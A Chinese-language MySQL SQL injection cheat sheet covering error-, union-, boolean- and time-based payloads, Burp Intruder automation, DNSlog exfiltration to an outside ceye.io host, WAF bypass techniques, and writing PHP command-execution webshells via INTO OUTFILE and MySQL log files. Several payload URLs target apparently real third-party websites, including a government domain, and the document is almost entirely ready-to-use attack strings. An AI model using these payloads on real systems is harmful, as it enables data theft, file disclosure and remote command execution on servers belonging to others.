确定使用了MySQL
PHP程序一般搭配MySQL
http://dynamicfountain.com/page-products-en.php?id=29%27%20and%201=1--+True
http://dynamicfountain.com/page-products-en.php?id=29%27%20and%201=1--False
由注释符判定数据库为MySQL。
引发报错信息
page.php?id='
String concatenation(字符串连接)
http://dynamicfountain.com/page-products-en.php?id=29%27%20%27mysql%27%20--+
SLEEP
http://dynamicfountain.com/page-products-en.php?id=29%27-SLEEP(1)=0%20LIMIT%201%20--+True
BENCHMARK
http://dynamicfountain.com/page-products-en.php?id=29%27-BENCHMARK(5000000,%20ENCODE(%27Slow%20Down%27,%27by%205%20seconds%27))=0%20LIMIT%201%20--+True
获取数据
报错
#1.floor()
select username from users where id='1' and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
#2.extractvalue()
select username from users where id='1' and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
#3.updatexml()
select username from users where id='1' and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
#简单绕过
select username from users where id=1 and `updatexml`(1,(select hex(user/**/(/**/))),1);
select username from users where id=1 /*!&&*/ /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1);
select username from users where id=1 /*!||*/ /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1);
select username from users where id=1 /*!xor*/ /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1);
select username from users where id=1 | /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1);
select username from users where id=1 xor /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1);
联合
#判断字段长度
select username,password from users where id='1' order by 2;
#获取数据库名
select username,password from users where id='1' union select null,database();
select username,password from users where id='1' union select null,group_concat(username,0x7c,password) from users;
#获取表名
select username,password from users where id='1' union select null,group_concat(table_name) from information_schema.tables where table_schema='test';
#获取列名
select username,password from users where id='1' union select null,group_concat(column_name) from information_schema.columns where table_name='users';
#获取数据
select username,password from users where id='1' union select group_concat(username),group_concat(password) from users;
#读文件
select username from users union select load_file('/etc/passwd');
布尔
#截取,mid可被substr、substring代替
select mid(database(),1,3);
select left(database(),3);
select right(database(),3);
#数据库名第一个字符的ascii值
select username from users where id='1' and ascii(mid((select database()),1,1))=116;
#布尔绕过
select username from users where id=1 and!!!mid((select unhex(hex(user/**/(/*!*/)))),1,1)='r';
select username from users where id=1 /*!&&*/ mid((select unhex(hex(user/**/(/*!*/)))),1,1)='r';
#下句5.7.29中未成功执行
and!!!substr((select user-- (1)%0a()),1,1)='r'
#使用IFNULL函数,IFNULL() 函数用于判断第一个表达式是否为 NULL,如果为 NULL 则返回第二个参数的值,如果不为 NULL 则返回第一个参数的值。
select * from users where id=1 and IFNULL((mid((select database()),1,1)='t'),0);
#使用strcmp函数,比較兩個字符串,如果這兩個字符串相等返回0,如果第一個參數是根據當前的排序小於第二個參數順序返回-1,否則返回1。
##1与0相比,1排序大于0,返回1
select * from users where id=1 and strcmp((mid((select database()),1,1)='t'),0);
##比较相等,返回0
select * from users where id=1 and strcmp((mid((select database()),1,1)='t'),1);
#不得已时,使用到or进行子查询延时注入,报错‘ Subquery returns more than 1 row’,但会延时5s
select * from users where id=1 or if(((mid((select database()),1,1))='t'),((select sleep(5) from information_schema.schemata as b)),1);
时间
#条件,1是条件,条件成立时执行2,不成立时执行3
select if(1,2,3);
select case when 1 then 2 else 3 end;
#数据库名第二个字符的ascii值为101时,查询延迟6秒
select username from users where id='1' union select if(((ascii(mid(database(),2,1)))=101),sleep(6),3);
#也可以benchmark替代sleep,数据库名第二个字符的ascii值为101时,查询延迟2秒左右
select username from users where id='1' union select if(((ascii(mid(database(),2,1)))=101),benchmark(10000000,md5('abc')),3);
#盲注中值得注意的问题
1.盲注中使用 and 你得确定你查询的值得存在;
2.在返回多组数据的情况下,你的延时不再是单纯的 sleep(5) 他将根据你返回的数据条数来反复执行;
3.在如同搜索型时尽量搜索存在且数目较少的关键词;
4.尽量不要使用 or.
结合Burp Suite
#第一步:确定初始语句(最好用ascii,mysql中等于号默认对大小写字母不敏感,例如第一位是a,那么A也会造成延时。)
http://moe.gov.sy/ar/aid759'%20union%20select%20if(((ascii(mid(user(),§1§,1)))=§2§),benchmark(10000000,md5('abc')),3),6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6--%20+.html
http://moe.gov.sy/ar/aid759'%20union%20select%20if(((ascii(mid(user(),§1§,1)))=§2§),sleep(6),3),6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6--%20+.html
#第二步:将初始语句放入Intruder中,选择集束炸弹模式,变量1为查询数据的第几位,变量2为查询数据对应位的值。变量1默认设置为1-20,变量2默认为33-126。
#第三步:攻击,在攻击框左上角Columns菜单勾选Response Received,通过相应时间确定查询数据。
数据库信息
#版本,version()可用@@version代替
select password from users where id=1 union select version();
#用户,也可查系统用户system_user()、当前用户current_user()和链接到数据库的用户session_user()
select password from users where id=1 union select user();
#路径
select password from users where id=1 union select @@datadir;
#操作系统
select password from users where id=1 union select @@version_compile_os;
#mysql.user表中的host和user
select username, password from users where id=1 union select host, user from mysql.user;
insert
假如没闭合会产生很多垃圾数据,这类注入建议手工或者自己写工具。
一般这种注入会出现在 注册、ip头、留言板等等需要写入数据的地方,同时这种注入不报错,一般较难发现。
报错
insert into admin (id,username,password) values(3,""or updatexml(1,concat(0x7e,version(),0),3) or"","ddd");
盲注
#int型,可以使用 运算符 比如 加减乘除 and or 异或 移位等等
insert into admin values (1+if((mid((select user()),1,1))='r',sleep(5),3),"sss","ssss");
#字符型,注意闭合,不能使用and
insert into admin values(12,''+if((mid((select user()),1,1))='r',sleep(6),3)+'','dedede');
delete
delete注入时使用 or 一定要为false,因为 1=1 为true 所以会删除每一行
报错
delete from admin where id=2 or updatexml(1,concat(0x7e,(select version()),3),3);
盲注
#下述语句会返回根据admin表中数据条数,执行同等次sleep(1)
delete from admin where id=-2 or if((mid((select user()),1,1))='r',sleep(1),1);
update
#id=2的数据有几条,便执行几次sleep(6)
update admin set username="5" + sleep(6) + "" where id=2;
#此处容易报错:ERROR 1292 (22007): Truncated incorrect DOUBLE value: 'ssssss',数据类型不一致。
#经实验,与where后无关,可能的原因是sleep(6)被当作int型,所以前面也需要是int型。
update admin set username=5 + sleep(6) where id=2;
对于update,insert注入,可尝试性插入引号、双引号和转义符\ ,让语句不能正常执行,若插入失败或更新失败,则深入测试是否存在注入
二次
二次注入的原理是sql语句没有被转义直接存入数据库,然后在被读取查询而导致的;
二次注入在没有源码的情况比较难发现,通常见于注册;
靶场: sqli-labs 24课 。
宽字节
1.没使用宽字节 %27 -> %5C%27 2. 使用宽字节 %df%27 -> %df%5c%27 -> 運'
- 在我们输入单引号时
addslashes()
或者get_magic_quotes_gpc
给我们的单引号加入了转义字符\
就变成了\'
- 我们输入经过转换后由于编码的不同把
%df%5c
转换为了一个汉字。靶场:sqli-labs 33课
order by
布尔
#通过响应排序不同判断存在注入
select * from admin order by if(1=1,username,password);
select * from admin order by if(1=2,username,password);
#通过响应排序不同判断用户名第一个字符为r
select * from admin order by if((mid((select user()),1,1))='r',username,password);
时间
#查出几条数据即执行sleep(5)多少次,会造成dos测试获取速度慢等问题,用子查询可规避
select * from admin order by if((mid((select user()),1,1))='r',sleep(5),3);
#用子查询
select * from admin order by if((mid((select user()),1,1))='r',(select 1 from (select sleep(5)) as b),3);
报错
select * from admin order by (updatexml(1,concat(0x3a,version(),3),3));
#靶场:sqli-lib 46
from
#使用联合查询
select password from admin union select version();
#结合order by
select * from admin order by if((mid((select user()),1,1))='r',username,password);
limit
#此方法适用于MySQL 5.x中,在limit语句后面的注入 ,但5.7.29未成功
#用 PROCEDURE ANALYSE 配合报错注入
SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
#基于时间注入,直接使用sleep不行,需要用BENCHMARK代替
SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1);
DNSlog
https://www.lexsite.com/latestArticle.php?id=-24%20union%20select%20null,load_file(CONCAT(%27\\\\%27,(SELECT%20user()),%27.mysql.bfxbme.ceye.io\\abc%27)),null,null,null--+
-24%20union%20select%20load_file(CONCAT(%27\\\\%27,(SELECT%20user()),%27.mysql.bfxbme.ceye.io\\abc%27))--+
或
https://www.lexsite.com/latestArticle.php?id=-24%20union%20select%20null,load_file(CONCAT(%27//%27,(SELECT%20user()),%27.mysql.bfxbme.ceye.io/abc%27)),null,null,null--+
Like
通过输入1%' and '1%'='1和1%' and '1%'='2回显不同判定存在注入。
万能密码
select * from admin where username='/*' and password='*/';
select * from admin where username=''|0#' and password='123';
select * from admin where username=''=0#' and password='123';
读文件
#读文件
##可将文件hex后输出,文件名支持 hex和char
select * from admin union select 1,hex(load_file('D:\\1.txt')),3;
##进了phpmyadmin类似的平台 可以执行sql语句,可以选择把导入的数据插入表中
create table test(test text);
insert into test(test) values (load_file('D:\\1.txt'));
select * from test;
堆叠
#mysql是支持堆叠查询的用; 分割语句,但是php原生的连接方式不支持,但是使用 PDO,mysqli_multi_query()等等是支持多语句的,在我们使用堆叠查询的时候基本是没有回显的,而且其实很难遇到这种环境。
select * from admin where id =1;select user();
WAF绕过
思路
容器特性
-
IIS
特性1:iis+asp 的%特性,当传入的 s%e%l%e%c%t 函数被%分割时,解析出来还是select; 特性2:iis+asp 的unicode特性,iis支持Unicode的解析 我们传入s%u0065lect解析为select +--------------------------------------------------------------------+ | Keywords | WAF | ASP/ASP.NET | +--------------------------------------------------------------------+ | sele%ct * fr%om.. | sele%ct * fr%om.. | select * from.. | | ;dr%op ta%ble xxx | ;dr%op ta%ble xxx | ;drop table xxx | | <scr%ipt> | <scr%ipt> | <script> | | <if%rame> | <if%rame> | <iframe> | +--------------------------------------------------------------------+
-
hpp参数污染
php+apache &id=1&id=2 他只解析最后一个 +------------------------------------------------------------------+ | Web Server | Parameter Interpretation | Example | +------------------------------------------------------------------+ | ASP.NET/IIS | Concatenation by comma | par1=val1,val2 | | ASP/IIS | Concatenation by comma | par1=val1,val2 | | PHP/Apache | The last param is resulting | par1=val2 | | JSP/Tomcat | The first param is resulting | par1=val1 | | Perl/Apache | The first param is resulting | par1=val1 | | DBMan | Concatenation by two tildes | par1=val1~~val2 | +------------------------------------------------------------------+
-
HTTP 参数污染
不同的容器他会对我们的参数带入的一些特殊字符解析成不同的东西,比如 +-----------------------------------------------------------+ | Query String | Web Servers response / GET values | +-----------------------------------------------------------+ | | Apache/2.2.16, PHP/5.3.3 | IIS6/ASP | +-----------------------------------------------------------+ | ?test[1=2 | test_1=2 | test[1=2 | | ?test=% | test=% | test= | | ?test%00=1 | test=1 | test=1 | | ?test=1%001 | NULL | test=1 | | ?test+d=1+2 | test_d=1 2 | test d=1 2 | +-----------------------------------------------------------+
程序缺陷
-
大小写混写,如UnIon SlEct;
-
替换,如ununionion seselectlect,un//ion se//lect ;
-
白名单;
有的程序他会对本地ip不拦截,同时他的host使用X-Forwarded-For 等来获取 X-Forwarded-For:127.0.0.1
网络协议
-
利用http协议容错特性构造畸形数据包;
-
编码;
= -> %3D ->%25%33%44 and 1=1 -> YW5kIDE9MQ==
-
分块;
-
数据包溢出,利用数据包过大waf自动丢弃不识别。
数据库特性
-
特殊字符
`updatexml` and!!!1=1 /**/ /*!50000*/
-
等价替换
substr(version(),1,1) Substring(version(),1,1) Left(version(),1)
from被拦截绕过
/* -- + %0afrom/**/
xx if 被拦截绕过
#使用内联注释
/*!11440and*/ if(1,1,1)
#使用小知识点 and!!!1=1 :and后面可以接上奇数个特殊的字符包括不限于! ~ & -
and!!!if((substr((select hex(user/**/(/*!*/))),1,1)>1),sleep/**/(/*!5*/),1)
#使用-- 注释
user()被拦截绕过
hex(user/**/(/**/))
`user`%0a()
user-- (1)%0a()
union select被拦截绕过
#使用内联注释
select 1,2,3 union/*!/*!11440select*/ 4,5,6;
select 1,2,3 union/*!11441/*!11440select*/ 4,5,6;
select 1,2,3 union/*!11440select*/4,5,6;
##此句在5.7.29中报错
select 1,2,3 union/*!11440/**/%0aselect*/4,5,6;
#使用注释符号
##针对#注释
union a%23 select
union all%23 select
union all%23%0a select
union %23%0aall select
##针对-- 注释
union -- 1%0a select
union -- hex()%0a select
#hpp参数污染,原理是:在php/apache 中 它总解析最后一个id
http://xxx.com/index.php?id=-1' /*&id='union select 1,user(),3 -- +*/
= 左右的字符类型被拦截绕过
and ~1>1
and hex(1)>-1
and hex(1)>~1
and -2<-1
and或or被拦截绕过
#通过运算符来改变ID的值 查看页面是否变化
##返回0的运算示例,实践中需重新实验
select '1'^1;
select '1' XOR 1;
select '1' > 1;
select '1' < 1;
select '1' <> 1;
select '1' != 1;
select '1' >> 1;
select '1' - 1;
##返回1的运算示例,实践中需重新实验
select '1'||1;
select '1' or 1;
select '1' && 1;
select '1' = 1;
select '1' <=> 1;
select '1' >= 1;
select '1' <= 1;
select '1' LIKE 1;
select '1' REGEXP 1;
select '1' & 1;
select '1' << 0;
select '1'+0;
select '1'*1;
select '1'/1;
select '1' DIV 1;
select '1' && true;
#布尔过狗
and!!!substr((select unhex(hex(user/**/(/*!*/)))),1,1)=1
/*!%26%26*/ substr((select hex(user/**/(/*!*/))),1,1)>1
users表被拦截绕过
#以数据库名带表名的形式绕过
select password from users where id=1 union select username from test.users;
select password from users where id=1 union select username from test.`users`;
information_schema.schemata被拦截绕过
select password from users where id=1 union select schema_name from `information_schema`.`schemata`;
#`information_schema`.schemata
#information_schema.`schemata`
#(information_schema.schemata)
select password from users where id=1 union select schema_name from information_schema/**/.schemata;
select password from users where id=1 union select schema_name from information_schema/*!*/.schemata;
关键词“in”被拦截绕过
#information_schema.tables的替代方法:
select table_name from sys.schema_table_statistics where table_schema='test';
逗号被拦截绕过
#相当于select 1,2;
select * from (select 1)a join (select 2)b;
#相当于select id,username from users union select null,password from users;
select id,username from users union select * from (select null)a join (select password from users)b;
单引号被拦截绕过
#database()
select username, password from users where id=1 union select 1, table_name from information_schema.tables where table_schema=database();
#hex编码
select username, password from users where id=1 union select 1, table_name from information_schema.tables where table_schema=0x74657374;
符号
#注释符号
#
/**/,等效于/*/**/
-- +,用这个符号注意是--空格任意字符很多人搞混了
;%00
`
/*!*/ 内列注释,可以当作一个空格
/*!/*!*/,等效于/*!*/
#操作符与逻辑操作符
排列在同一行的操作符具有相同的优先级,(优先级很重要)
:=
||, OR, XOR
&&, AND
NOT
BETWEEN, CASE, WHEN, THEN, ELSE
=, <=>, >=, >, <=, <, <>, !=, IS, LIKE, REGEXP, IN
|
&
<<, >>
-, +
*, /, DIV, %, MOD
^
- (一元减号), ~ (一元比特反转)
!
BINARY, COLLATE
获取权限
慢查询日志getshell
#通过开启慢查询日志,配置可解析文件GETSHELL(针对日志量庞大,通过日志文件GETSHELL出现问题时)
##第一步:
show variables like '%slow%';
##第二步:
set GLOBAL slow_query_log_file='C:/phpStudy/PHPTutorial/WWW/slow.php';
##第三步:
set GLOBAL slow_query_log=on;
##第四步:
select '<?php phpinfo();?>' from mysql.db where sleep(10);
##第五步:
访问target.com/slow.php
写文件getshell
写文件我们一般用到
dumpfile
与outfile
她们其实是有区别
outfile
会在行末写入新行,而且会转义换行符
dumpfile
能导出一个完整的文件,不会有任何转义 所以我们udf提取一般用的dumpfile
#获取mysql.user和文件权限,出现Y,这就代表你有文件权限,N就是没有
select group_concat(user,0x3a,file_priv) from mysql.user;
#写文件
select username from users union select "<?php passthru($_GET['cmd']); ?>" INTO DUMPFILE "/var/www/07.php";
select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'd:/www/432000.php'
general_log getshell
#查看 MySQL 的 secure-file-priv 设置, secure_file_priv 参数是只读参数,不能使用 SET GLOBAL 语句修改,只有修改 MySQL 的配置文件并重启 MySQL 才能对此进行修改。
#MySQL 中 在在mysql 5.6.34版本以后 secure_file_priv的值默认为NULL ,而 secure_file_priv为null 那么我们就不能导出文件,以下都建立在secure_file_priv 的默认值被修改为无才能利用,且这个只能手工修改配置文件不能用sql语句,也就是想直接导出需要管理员不知道干了什么帮你修改好这个权限才行。windows系统在 my.ini的[mysqld]下面加上secure_file_priv = ,linux 的在 /etc/my.cnf 同时读写权限问题就不用说了。
SHOW VARIABLES LIKE "secure_file_priv";
#利用 general log 绕过 MySQL 的 secure-file-priv 限制,前提条件是MySQL 拥有网站目录的写权限且为root 用户权限(日志方法需要)。
##第一步:
show variables like '%general%';
##第二步:
SET GLOBAL general_log=on;
##第三步:
SET GLOBAL general_log_file='/var/www/html/07.php';
##第四步:
select "<?php passthru($_GET['cmd']); ?>";
##第五步:
访问target.com/07.php